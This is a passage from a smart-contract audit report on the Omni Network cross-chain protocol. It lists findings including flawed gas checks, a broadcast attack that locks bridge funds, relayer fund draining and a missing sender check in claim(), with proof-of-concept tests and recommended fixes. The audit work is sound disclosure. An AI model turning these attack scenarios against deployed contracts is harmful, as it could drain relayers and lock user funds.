zkSync operates on a state diff-based fee model, much different from the model operated by other l2 or mainnet. https://docs.zksync.io/build/developer-reference/best-practices#do-not-rely-on-evm-gas-logic

Because of the quirks and differences, protocols with intent to deploy on zkSync must factor these into their gas logic

The code in here in `OmniPortal:_call` attempts to calc gas left based on EIP-150 to determine if there is enough gas to execute the transaction further.

```
    function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪   uint256) {
            ...SKIP...

            uint256 gasLeftAfter = gasleft();

            // Ensure relayer sent enough gas for the call
            // See <https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6
↪   bb18ac0290/contracts/metatx/MinimalForwarder.sol#L58-L68>
            if (gasLeftAfter <= gasLimit / 63) {
                // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an
↪   "OutOfGas" exception
                assembly {
                    invalid()
                }
            }

            return (success, result, gasLeftBefore - gasLeftAfter);
        }
```

This gas logic does not take into acocunt the `gasPerPubdataByte` value on zkSync. `gasPerPubdataByte` is a part of the gas for each tx which goes to the zksync network operator(s). This value is controlled by the zkSync chain operator(s). The zkSync docs here descrbe scenarios where ignoring may cause reverts/unexpected behaviour in gas logic, especially when the logic is centered around checking left over gas for EIP-150.

zkSync docs say that

> Due to the state diff-based fee model of ZKsync Era, every transaction includes a constant called gasPerPubdataByte. Presently, the operator has control over this value. However, in EIP712 transactions, users also sign an upper bound on this value, but the operator is free to choose any value up to that upper bound. Note, that even if the value is chosen by the protocol, it still fluctuates based on the L1 gas price. Therefore, relying solely on gas is inadequate.

This proves that the `gasPerPubdataByte` isnt constant and is an added cost on each tx, after computational costs and must be taken into consideration when doing gas logic.

ZkSync also expects `gasPerPubdataByte` to be set in a decentralized manner in the near future, AFAIK zkSync has already began the process of decentralizing its network with the launch of its ZK token. This further supports the notion that `gasPerPubdataByte` can vary like blob fees or native gas prices.

Now in the `_call`, there are calculations to determine if the remaining gas will be sufficient for the next call according to EIP-150 but these checks dont take into consideration the `gasPerPubdataByte`. This oversight will mean that on zkSync, the code will revert/tx will fail when the call is made when `gasPerPubdata` is high enough.

This example contract GasBound.sol given by zkSync shows how to correctly run gas checks in gas bound logic contracts on zkSync. Snippet below

https://github.com/matter-labs/era-contracts/blob/29f9ff4bbe12dc133c852f81acd70e2b4139d6b2/gas-bound-caller/contracts/GasBoundCaller.sol#L67-L94

```
            // We will calculate the length of the returndata to be used at the end of the function.
            // We need additional `96` bytes to encode the offset `0x40` for the entire pubdata,
            // the gas spent on pubdata as well as the length of the original returndata.
            // Note, that it has to be padded to the 32 bytes to adhere to proper ABI encoding.
            uint256 paddedReturndataLen = returnData.length + 96;
            if (paddedReturndataLen % 32 != 0) {
                paddedReturndataLen += 32 - (paddedReturndataLen % 32);
            }

            uint256 pubdataPublishedAfter = SYSTEM_CONTEXT_CONTRACT.getCurrentPubdataSpent();

            // It is possible that pubdataPublishedAfter < pubdataPublishedBefore if the call, e.g. removes
            // some of the previously created state diffs
            uint256 pubdataSpent = pubdataPublishedAfter > pubdataPublishedBefore
                ? pubdataPublishedAfter - pubdataPublishedBefore
                : 0;

            uint256 pubdataGasRate = SYSTEM_CONTEXT_CONTRACT.gasPerPubdataByte();

            // In case there is an overflow here, the `_maxTotalGas` wouldn't be able to cover it anyway, so
            // we don't mind the contract panicking here in case of it.
            uint256 pubdataGas = pubdataGasRate * pubdataSpent;

            if (pubdataGas != 0) {
                // Here we double check that the additional cost is not higher than the maximum allowed.
                // Note, that the `gasleft()` can be spent on pubdata too.
                require(pubdataAllowance + gasleft() >= pubdataGas + CALL_RETURN_OVERHEAD, "Not enough gas for
↪  pubdata");
            }
```

In the above logical check we can see how `gasLeft()` is not just alone but there is a `gasPubDataAllowance` value added to it. The pubdata spent is tracked via calls to `SYSTEM_CONTEXT_CONTRACT.getCurrentPubdataSpent()` and the gas cost per pubdata is gotten via call to `SYSTEM_CONTEXT_CONTRACT.gasPerPubdataByte()`. All these is done to ensure that the remaining gas is enough to pay for computation costs and gasPubData cost at the end of the execution.

The final `gasPerPubdata` that is chaged is dependent on the size of changes to the zksync era global storage. So the more the data written into storage, the larger the gasPerPubData that tx will pay.

I set the impact for this finding to be high because the Core Protocol functionality/logic which validates the gas passed onto the next call according to EIP-150 rules is broken on zkSync where the `gasPerPubdataByte` value exists for every tx and this causes an unexpected revert.

I set the likelihood of this finding to be medium because as of present, `gasPerPubdataByte` on zkSync era flunctuates based on L1 gas costs, users can put a variable cap/upper bound on its value when singing signatures and it may be set in a decentralised manner soon, once the zksync network decentralization is complete.

Further Reading

- https://docs.zksync.io/build/developer-reference/best-practices#gasperpubdatabyte-should-be-taken-into-account-in-development
- https://docs.zksync.io/build/developer-reference/fee-model/how-we-charge-for-pubdata#how-to-prevent-this-issue-on-the-users-side
- https://docs.zksync.io/build/developer-reference/fee-model

Impact

code is to be deployed on zkSync era but `gasPerPubdataByte` value is not taken into account in gas logic, the code will revert/tx will fail if the call is made when `gasPerPubdata` is high enough.

Recommenedation

before deploying on zk sync era, modify the logic to take into consideration the tx `gasPerPubdataByte` value. have a check calculate the correct `gasPerPubdata` and to enforce how high the `gasPerPubdata` value should be.Description

3.3.23 Incorrect gas usage check in `OmniPortal::_call()` function

Severity: Medium Risk

Context: OmniPortal.sol#L307

- Description In the OmniPortal contract, the `_call()` function, which executes cross-chain messages (msgs), contains a flawed gas usage check. This check is intended to detect and handle out-of-gas scenarios for individual `msg` executions, but its current implementation could lead to false positives (or negatives).

```
function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪  uint256) {
    uint256 gasLeftBefore = gasleft();

    (bool success, bytes memory result) =
        to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata: data });

    uint256 gasLeftAfter = gasleft();

    if (gasLeftAfter <= gasLimit / 63) {
        assembly {
            invalid()
        }
    }

    return (success, result, gasLeftBefore - gasLeftAfter);
}
```

The current implementation compares the remaining gas for the entire transaction (`gasLeftAfter`) against a fraction of the gas limit for the individual call (`gasLimit / 63`).

This comparison is invalid because:

1. `gasLeftAfter` represents the gas remaining for the entire `xsubmit` transaction, not just for the individual xmsg call.
2. The check `gasLeftAfter <= gasLimit / 63` does not accurately represent whether the individual call has used most of its allotted gas.

Consider a scenario where the last `xmsg` call is being executed,

1. `gasleft()` returns 30,000 gas, enough to return the value and complete the function's execution. But the last `xmsg` call has a **gasLimit** of 5,000,000 (max allowed limit), 1/63 * 5,000,000 = 80,000, leading to the call to revert, though it has enough gas.
2. `gasleft()` returns 400 gas; that's not enough for the call to be completed, but the last `xmsg` only consumes 21,000 **gasLimit**, then 1/63 * 21,000 = 334, which will allow the call to pass, but will run-out-of-gas anyway.

- Recommendation: Consider updating the `_call()` function to check if the external call consumes 63rd of the `gasLimit` of that specific transaction (not against the overall xsubmit call)

3.3.24 An attacker can execute a broadcast attack to destroy the bridge and permanently lock user funds

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

```
    /**
     * @notice Execute an xmsg.
     * @dev Verify if an XMsg is next in its XStream, execute it, increment inXMsgOffset, emit an XReceipt
↪   event
     */
    function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
        uint64 sourceChainId = xheader.sourceChainId;
        uint64 destChainId = xmsg_.destChainId;
        uint64 shardId = xmsg_.shardId;
        uint64 offset = xmsg_.offset;

        require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
        require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");

        //...

        inXMsgOffset[sourceChainId][shardId] += 1;

        //...
    }
```

As seen in this code, the `inXMsgOffset` increases by 1 when the `destChainId` matches either the current chainId or the `BroadcastChainId`,

and the offset meets the condition.

If the `destChainId` value is set to `omniChainId` or `BroadcastChainId` when transmitting from L1,

then messages with the same offset will occur on L2.

If the attacker sends a message with the `BroadCastChainId` before users start transmitting their messages to L2

after the Bridge has been deployed on L1, all messages sent by users to L2 could fail.

As a result, although users have deposited funds through OmniBridgeL1,

they are unable to take possession of those funds on L2, leading to a loss of funds.

- Recommendation

In the setNetwork function, it is reasonable to revert if the `c.chainId` is the same as the `BroadcastChainId`.

3.3.25 Abi.encodePacked() allows Hash collision

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary From the solidity documentation: https://docs.soliditylang.org/en/v0.8.17/abi-spec.html?highlight=collisions#non-standard-packed-mode > If you use `keccak256(abi.encodePacked(a, b))` and both `a` and `b` are dynamic types, it is easy to craft collisions in the hash value by moving parts of `a` into `b` and vice-versa. More specifically, `abi.encodePacked("a", "bc") == abi.encodePacked("ab", "c")`.

The issue exist in , `XBlockMerkleProof`, the `_leafHash` function uses `abi.encodePacked` to concatenate data, which is susceptible to hash collisions when dealing with dynamic types.

- Vulnerability Description

```
  /// @dev Double hash leaves, as recommended by OpenZeppelin, to prevent second preimage attacks
    ///      Leaves must be double hashed in tree / proof construction
    ///      Callers must specify the domain separation tag of the leaf, which will be hashed in
    function _leafHash(uint8 dst, bytes memory leaf) private pure returns (bytes32) {
@>>     return keccak256(bytes.concat(keccak256(abi.encodePacked(dst, leaf))));
    }
}
```

The issue arises because `abi.encodePacked` flattens dynamic types such as strings, bytes, and arrays into a single byte stream. If two different data inputs can result in the same byte stream, the hash (`keccak256`) will be the same. This can happen when parts of one input are shifted into another, creating a hash collision. For example:

```
//Copy code
keccak256(abi.encodePacked("a", "bc")) == keccak256(abi.encodePacked("ab", "c"))
```

`abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()`

- Code Snippet https://github.com/omni-network/omni/blob/7f6a85e5bcf48cec06ec535deeb0e5414919f375/contracts/core/src/libraries/XBlockMerkleProof.sol#L60
- Recommendation To prevent such collision, replace `abi.encodePacked` with `abi.encode()`, which is safer because it's includes the length of dynamic types, preventing these collisions.

```
/// @dev Double hash leaves, as recommended by OpenZeppelin, to prevent second preimage attacks
    ///      Leaves must be double hashed in tree / proof construction
    ///      Callers must specify the domain separation tag of the leaf, which will be hashed in
    //@audit  abi.encodePacked causes Hash collision
    function _leafHash(uint8 dst, bytes memory leaf) private pure returns (bytes32) {
--      return keccak256(bytes.concat(keccak256(abi.encodePacked(dst, leaf))));
++      return keccak256(bytes.concat(keccak256(abi.encode(dst, leaf))));
    }
```

3.3.26 Use 600 instead of 644 to create file

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description code like `os.WriteFile(genFile, network.Static().ConsensusGenesisJSON, 0o644)` is use `644` instead of `600` which can lead to security issue
- Proof of Concept https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/cmd/init.go#L315-L321 https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/cmd/cometconfig.go#L66-L78
- File Permissions in Unix-like Systems
- **644 (read-write for owner, read-only for group and others)**:
  - **Owner**: Can read and write the file.
  - **Group**: Can only read the file.
  - **Others**: Can only read the file.
- **600 (read-write for owner, no access for group and others)**:
  - **Owner**: Can read and write the file.
  - **Group**: No access.
  - **Others**: No access.

Permissions `644` would allow any user on the system to read the file, which could expose sensitive information

By changing the permissions to `600`, only the **owner** (likely the process creating the file) will have read and write access, and all other users (including group members and others) will have **no access**.

- Recommendation

use 600 instead of 644

3.3.27 `insertValidatorSet()` can insert an `multiple time the same validator` into valTable

Severity: Medium Risk

Context: keeper.go#L232-L266

- Context This report is raising similar concerns as Spearbit Go Audit - **5.1.5** and as such should warrant at least `Medium severity`.
- Description In the hypotetical case `maybeStoreValidatorUpdates` is operated by a malicious actor or has a bug, insertValidatorSet would allow to insert the multiple validators representing the same entity (public key) in a single set, which **break the validator set invariant**. There is even a way to play this to suppress the `Warn` in case the entity does have actually more then 1/3 power overall (the last entry forced to power zero, see PoC). Such scenario could affect further the consensus as a single entity could be able to control the voting power by adding itself multiple time. Overall, this can probably create multiples edge cases.
- Proof of Concept Add the following test in `query_internal_test.go` and run the test.

```
func TestInsertValidatorSet(t *testing.T) {
    set1 := newSet(t, 1, 2, 3, 4, 1, 6, 7, 8, 9)
    sets1 := [][]*Validator{set1}

    tests := []struct {
        name        string
        populate    [][]*Validator
        expectation expectation
    }{
        {
            name:        "insert duplicated validators within the same set",
            populate:    sets1,
            expectation: defaultExpectation(),
        },
    }

    for _, tt := range tests {
        t.Run(tt.name, func(t *testing.T) {
            keeper, sdkCtx := setupKeeper(t, tt.expectation)

            for i, set := range tt.populate {
                sdkCtx = sdkCtx.WithBlockHeight(int64(i + 1))

                // hack, increase power for the original but reduce it for the dup
                set[0].Power = 5
                set[4].Power = 0

                _, err := keeper.insertValidatorSet(sdkCtx, clone(set), i == 0)
                require.NoError(t, err)
            }

            setIter, err := keeper.valsetTable.List(sdkCtx, ValidatorSetPrimaryKey{})
            require.NoError(t, err)
            for setIter.Next() {
                valset, err := setIter.Value()
                require.NoError(t, err)
                valIter, err := keeper.valTable.List(sdkCtx,
↪   ValidatorValsetIdIndexKey{}.WithValsetId(valset.GetId()))
                require.NoError(t, err)
                for valIter.Next() {
                    val, err := valIter.Value()
                    require.NoError(t, err)
                    t.Logf("Validator: %v", val)
                }
                valIter.Close()
            }
            setIter.Close()
        })
    }
}
```

OUTPUT

```
=== RUN   TestInsertValidatorSet
=== RUN   TestInsertValidatorSet/insert_duplicated_validators_within_the_same_set
    query_internal_test.go:62: Validator: id:1 valset_id:1
    ↪  pub_key:"\x02\x8c(\xa9{\xf8)\x8b\xc0\xd2=\x8ct\x94R\xa3.iKe\xe3\n\x94r\xa3\x95J\xb3\x0f\xe52L\xaa"
    ↪  power:5
    query_internal_test.go:62: Validator: id:2 valset_id:1
    ↪  pub_key:"\x03\xab\x1a\xc1\x87*8\xa2\xf1\x96\xbe\x04\x7f\r\xa2\xc8\x13\x0f\xe8\xdeI\xfcM]\xfb
    ↪  \x1fv\x11\xd8\xe2" power:1
    query_internal_test.go:62: Validator: id:3 valset_id:1
    ↪  pub_key:"\x03\x97)$p2\xc0\xdf\xcfE\xb4\x84\x1f\xcdr\xf6\xe9\xa2B&1\xfc4f>\x87\x15GT\xdd@" power:1
    query_internal_test.go:62: Validator: id:4 valset_id:1
    ↪  pub_key:"\x03%d\xfe\x9b[\xee\xf8-7\x03\xa6\x07%?1\xb3ew-\xf44\"j\xeed&Q\xb3\xfa" power:1
    query_internal_test.go:62: Validator: id:5 valset_id:1
    ↪  pub_key:"\x02\x8c(\xa9{\xf8)\x8b\xc0\xd2=\x8ct\x94R\xa3.iKe\xe3\n\x94r\xa3\x95J\xb3\x0f\xe52L\xaa"
    query_internal_test.go:62: Validator: id:6 valset_id:1
    ↪  pub_key:"\x02q\xef\xa4\xe2jAy\xe1\x12\x86\x0b\x88\xfc\x98e\x8aK\xdbz\xb6\xd4\xf8\x05|53\x0cz\x89\xee"
    ↪  power:1
    query_internal_test.go:62: Validator: id:7 valset_id:1
    ↪  pub_key:"\x020\x818\xe7\x1b\xe2^\t/\xa0=SWB\x1b\xc7(\x03V\xa18\x1aa\x86\xd6:\x0c\xa8\xdd\x7f" power:1
    query_internal_test.go:62: Validator: id:8 valset_id:1
    ↪  pub_key:"\x03\xff=a6\xff\xac[\x0c\xbf\xc6\xc5\xc0\xc3\r\xc0\x1a~\xa3\xd5l \xbd1\x03\xb1x\xe3\x18\x00h"
    ↪  power:1
    query_internal_test.go:62: Validator: id:9 valset_id:1 pub_key:"\x03W_\xc4\xe8*m\xebe\xd1\xe5u\x0c\x85\xb6
    ↪  \x86/n\xc0\t(\x19\x92\xe2\x06\xc0\xdc\xc5h\x86j?\xb1"
    ↪  power:1
--- PASS: TestInsertValidatorSet (0.03s)
    --- PASS: TestInsertValidatorSet/insert_duplicated_validators_within_the_same_set (0.03s)
PASS
```

We can clearly observe two flaws:

- Two validator (id 1 and id 5) with the same public key were added properly into the set. The first one with more then 1/3 power (at 5) while the duplicate at zero power.
- The `Warn` indicating that a validator has more then 1/3 power was suppressed.
- Recommendation Ensure validators are unique within a set.

3.3.28 `VerifyVoteExtension` fails to account for all double sign offenses in a vote extension

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Relevant Context

The `keeper.VerifyVoteExtension` method of the `AttestationKeeper` is used as halo's `VoteExtensionHandler`.

The method implements the necessary verification steps to validate the vote extensions from other validators. Such vote extensions are used by Omni to signal that the sending validator has observed a particular event has occured on an integrated EVM chain, ultimately leading to cross chain transactions being relayed upon sufficient votes being cast.

The Omni protocol defines that, for a valid set of vote extensions, there must be at most one extension per target chain such that each validator is allowed to express a unitary vote in the attestation phase of a given cross chain tranasction. Most importantly, the Omni system defines such offense to constitute a slashable event for the misbehaving validator, and implements basic tracking of such double sign offenses via `metrics.doubleSignCounter`.

- Description

The `keeper.VerifyVoteExtension` method fails to correctly account for all double sign offenses in a given `VoteExtensions`, as the method returns `(respReject, nil)` as soon as once instance of a double sign is encountered.

```
func (k *Keeper) VerifyVoteExtension(ctx sdk.Context, req *abci.RequestVerifyVoteExtension) (
    *abci.ResponseVerifyVoteExtension, error,
) {
    respAccept := &abci.ResponseVerifyVoteExtension{
        Status: abci.ResponseVerifyVoteExtension_ACCEPT,
    }
    respReject := &abci.ResponseVerifyVoteExtension{
        Status: abci.ResponseVerifyVoteExtension_REJECT,
    }

    // snip

    duplicate := make(map[xchain.AttestHeader]bool)
    for _, vote := range votes.Votes {
        if err := vote.Verify(); err != nil {
            log.Warn(ctx, "Rejecting invalid vote", err)
            return respReject, nil
        }

        if duplicate[vote.AttestHeader.ToXChain()] {
            doubleSignCounter.WithLabelValues(ethAddr.Hex()).Inc()
            log.Warn(ctx, "Rejecting duplicate slashable vote", err)

            return respReject, nil // AUDIT only the first double sign in the extension is accounted for
↪   slashing
        }
        duplicate[vote.AttestHeader.ToXChain()] = true

    // snip

    return respAccept, nil
}
```

This behaviour deviates from the correct and expected behaviour of penalizing all instances of a double sign, given that in an extension with `N > 1` instances of double signs, `N - 1` will never be accounted for.

- Recommendation

The shown function should cache all instances of double signs, allowing for the entire vote extension to be processed before returning `respReject`.

E.g:

```
func (k *Keeper) VerifyVoteExtension(ctx sdk.Context, req *abci.RequestVerifyVoteExtension) (
    *abci.ResponseVerifyVoteExtension, error,
) {
    respAccept := &abci.ResponseVerifyVoteExtension{
        Status: abci.ResponseVerifyVoteExtension_ACCEPT,
    }
    respReject := &abci.ResponseVerifyVoteExtension{
        Status: abci.ResponseVerifyVoteExtension_REJECT,
    }

    // snip

+   var duplicateFound bool
    duplicate := make(map[xchain.AttestHeader]bool)
    for _, vote := range votes.Votes {
        if err := vote.Verify(); err != nil {
            log.Warn(ctx, "Rejecting invalid vote", err)
            return respReject, nil
        }

        if duplicate[vote.AttestHeader.ToXChain()] {
            doubleSignCounter.WithLabelValues(ethAddr.Hex()).Inc()
            log.Warn(ctx, "Rejecting duplicate slashable vote", err)

-           return respReject, nil
+           duplicateFound = true
        }
        duplicate[vote.AttestHeader.ToXChain()] = true

    // snip

+   if duplicateFound {
+       return respReject, nil
+   }

    return respAccept, nil
}
```


3.3.29 Malicious user can drain the funds of the relayer

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: A user can use the `xcall` function inside `OmniPortal.sol` to initiate an `xcall`:

```
function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
    external
    payable    whenNotPaused(ActionXCall, destChainId)
{
    require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
    require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
    require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
    require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
    require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

    // conf level will always be last byte of shardId. for now, shardId is just conf level
    uint64 shardId = uint64(conf);
    require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

    uint256 fee = feeFor(destChainId, data, gasLimit);
    require(msg.value >= fee, "OmniPortal: insufficient fee");

    outXMsgOffset[destChainId][shardId] += 1;

    emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit, fee);
}
```

The current implementation of `xcall` leaves an attack vector which can be used to drain the funds of the relayer.

To explain this attack vector, first we have to look how gas is evaluated for when a user sends an `xcall` to a `naive` destination chain:

```
const (
    subGasBase               uint64 = 500_000
    subGasXmsgOverhead       uint64 = 100_000
    subGasMax                uint64 = 10_000_000 // Many chains have block gas limit of 30M, so we limit
↪  ourselves to 1/3 of that.
    subEphemeralConsensusGas uint64 = 5_000_000
    properGasEstimation      uint64 = 0 // Use proper (RPC) gas estimation
)
// naiveSubmissionGas returns the estimated max gas usage of a submissions using a naive model:// - <gasBase>
↪  + sum(xmsg.DestGasLimit + <gasXmsgOverhead>).
func naiveSubmissionGas(msgs []xchain.Msg) uint64 {
    resp := subGasBase
    for _, msg := range msgs {
       resp += msg.DestGasLimit + subGasXmsgOverhead
    }

    return resp
}
```

The naive gas estimation is `gasBase + (xmsg.DestGasLimit + 100_000)`.

Proof of Concept:

- Alice calls `xcall` from a cheap source chain to a naive destination chain..
- On the destination chain, Alice created a contract that uses all the gas of that transaction when called. This will be the recipient of the `xcall`
- As we saw in the gas estimation for a naive chain, the gas that will be provided by the relayer will be overpaid.
- The relayer will keep losing the whole amount of gas used and Alice can keep repeating this attack, effectively draining the relayer funds for a low amount of costs.

Recommendation: When bridging to a naive chain, require the user invoking the `xcall` to match the `100_000` gas fee.

3.3.30 OmniBridgeNative::claim() can be invoked via Non-L1-Bridge xmsg.sender

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

The `claim()` function in `OmniBridgeNative` is meant to claim OMNI tokens that failed to be withdrawn via `xmsg from OmniBridgeL1`, which is evident from natsepc of the claim() function which specifies:

> `"@notice Claim OMNI tokens that failed to be withdrawn via xmsg from OmniBridgeL1"`

This means the function expects the message to be from `OmniBrdigeL1`, however there is no check in the function that verifies `xmsg.sender == address(l1Bridge)`.

- Impact

Since the required check isn't present to only allow xmsg from OmniBridgeL1, it violates the expected code behavior and allows anyone to call the `claim()` function. Refer to the Proof Of Concept section.

- Proof of Concept

Create a file named `ClaimCallableByAnyone.t.sol` and add it to `contracts\core\test\token`, the file path is necessary because it inherits `OmniBridgeNative_Test` from `contracts\core\test\token\OmniBridgeNative.t.sol` test file.

`contracts\core\test\token\ClaimCallableByAnyone.t.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity =0.8.24;

import { OmniBridgeNative_Test, OmniBridgeNative } from "./OmniBridgeNative.t.sol";
import { console } from "forge-std/console.sol";
```

```
contract Receiver {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    fallback() external {
        revert("Pwner_Receiver: NOT ALLOWED");
    }

    receive() external payable {
        revert("Pwner_Receiver: NOT ALLOWED");
    }
}

contract ClaimCallableByAnyone is OmniBridgeNative_Test {
    Receiver receiver = new Receiver();

    function test_claim_from_non_l1bridge_xmsg_sender() public {
        address pwner = makeAddr("pwner");
        address pwner_receiver = address(receiver);
        uint256 amount = 1e18;
        uint256 l1BridgeBalance = 100e18;
        uint64 gasLimit = l1Bridge.XCALL_WITHDRAW_GAS_LIMIT();

        vm.deal(address(pwner), 1e18);

        // @note - deliberately make the withdraw call fail, which will show that claim executes successfully.
        portal.mockXCall({
            sourceChainId: l1ChainId, // wrong
            sender: address(l1Bridge),
            to: address(b),
            data: abi.encodeCall(OmniBridgeNative.withdraw, (pwner, pwner_receiver, amount, l1BridgeBalance)),
            gasLimit: gasLimit
        });

        portal.mockXCall({
            sourceChainId: l1ChainId,
            sender: pwner,
            to: address(b),
            data: abi.encodeCall(OmniBridgeNative.claim, (pwner)),
            gasLimit: gasLimit
        });
    }
}
```

Execute the command to run test:

```
forge test --mt test_claim_from_non_l1bridge_xmsg_sender -vvvv
```

Results of Running the test

```
$ forge test --mt test_claim_from_non_l1bridge_xmsg_sender -vvvv
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/token/ClaimCallableByAnyone.t.sol:ClaimCallableByAnyone
[PASS] test_claim_from_non_l1bridge_xmsg_sender() (gas: 123352)
Traces:
  [159455] ClaimCallableByAnyone::test_claim_from_non_l1bridge_xmsg_sender()
    [0] VM::addr(<pk>) [staticcall]
        [Return] pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f]
    [0] VM::label(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], "pwner")
        [Return]
    [271] OmniBridgeL1::XCALL_WITHDRAW_GAS_LIMIT() [staticcall]
        [Return] 80000 [8e4]
    [0] VM::deal(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], 1000000000000000000 [1e18])
        [Return]
```

```
    [100776] MockPortal::mockXCall(1, OmniBridgeL1: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a],
↪ TransparentUpgradeableProxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1],
↪ 0x7bfe950c0000000000000000000000000d13781789acab73dfdce29003ea7f95cfd3260f0000000000000000000000005615deb7
↪ 98bb3e4dfa0139dfa1b3d433cc23b72f0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000
↪ 0000000000000000000000000000000000000056bc75e2d63100000, 80000
↪ [8e4])
        [71888] TransparentUpgradeableProxy::withdraw(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f],
↪ Receiver: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 100000000000000000 [1e18], 10000000000000000000
↪ [1e20])
          [66928] OmniBridgeNativeHarness::withdraw(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f],
↪ Receiver: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 100000000000000000 [1e18], 10000000000000000000
↪ [1e20]) [delegatecall]
            [506] MockPortal::xmsg() [staticcall]
                [Return] MsgContext({ sourceChainId: 1, sender: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a })
            [161] Receiver::receive{value: 100000000000000000}()
                [Revert] revert: Pwner_Receiver: NOT ALLOWED
           emit Withdraw(payor: pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], to: Receiver:
↪ [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], amount: 100000000000000000 [1e18], success: false)
            [Stop]
          [Return]
        [Return] 74747 [7.474e4]
    [34608] MockPortal::mockXCall(1, pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f],
↪ TransparentUpgradeableProxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1],
↪ 0x1e83409a0000000000000000000000000d13781789acab73dfdce29003ea7f95cfd3260f, 80000 [8e4])
        [12238] TransparentUpgradeableProxy::claim(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f])
          [11793] OmniBridgeNativeHarness::claim(pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f])
↪ [delegatecall]
            [506] MockPortal::xmsg() [staticcall]
                [Return] MsgContext({ sourceChainId: 1, sender: 0x0D13781789Acab73dFdcE29003ea7F95cfd3260f })
            [0] pwner::fallback{value: 100000000000000000}()
                [Stop]
           emit Claimed(claimant: pwner: [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], to: pwner:
↪ [0x0D13781789Acab73dFdcE29003ea7F95cfd3260f], amount: 100000000000000000 [1e18])
            [Stop]
          [Return]
        [Return] 12579 [1.257e4]
    [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.15ms (213.30s CPU time)

Ran 1 test suite in 6.47ms (1.15ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

`Observation`: In PoC, the call to `withdraw()` function is made to fail deliberately by denying receive of ether, to set the `claimable` mapping, that will allow for successfully executing the `claim()` function, which violates the doc/natspec that specifies:

```
"@notice Claim OMNI tokens that failed to be withdrawn via xmsg from OmniBridgeL1"
```

- Recommendation

Add a check to verify that `xmsg.sender == l1Bridge`:

```
    function claim(address to) external whenNotPaused(ACTION_WITHDRAW) {
        XTypes.MsgContext memory xmsg = omni.xmsg();

+       require(xmsg.sender == address(l1Bridge),"OmniBridge: xmsg not from L1-Bridge");
        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");
        require(to != address(0), "OmniBridge: no claim to zero");

        address claimant = xmsg.sender;
        require(claimable[claimant] > 0, "OmniBridge: nothing to claim");

        uint256 amount = claimable[claimant];
        claimable[claimant] = 0;

        (bool success,) = to.call{ value: amount }("");
        require(success, "OmniBridge: transfer failed");

        emit Claimed(claimant, to, amount);
    }
```

3.3.31 Improper Fund Handling in the Unjail Function

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

3.4 Summary

Fee refunds

- Each xcall checks that the user pays enough fees based on the destChainId, the data used in the xcall, and the gasLimit. While a user may accidentally or intentionally pay more than this required amount in the true execution on the destination, any excess payment will not be refunded.
- Fee refunds are desirable, but will are out of scope for v1.0

The protocol documentation mentions a known issue regarding `xcall` overpayment, stating that any excess payment on the destination chain will not be refunded. However, this known limitation does not apply to overpayments in the unjail function. In this function, users might send more than the required fee, but the excess funds are permanently burned at the burn address, which provides no operational benefit and leads to unintended loss of user funds.

- Vulnerability Description

The `unjail()` function requires users to send 0.1 ETH as a static fee. However, the function lacks upper bound checks, and any additional ETH sent is irreversibly burned at the dead address. This behavior is not covered under the `xcall` overpayment issue, as overpayment in this context occurs directly within the unjail process, not during cross-chain execution.

- Code Snippet

```
address private constant BurnAddr = 0x000000000000000000000000000000000000dEaD;
uint256 public constant Fee = 0.1 ether;

function unjail() external payable {
    _burnFee();
    emit Unjail(msg.sender);
}

function _burnFee() internal {
    require(msg.value >= Fee, "Slashing: insufficient fee");
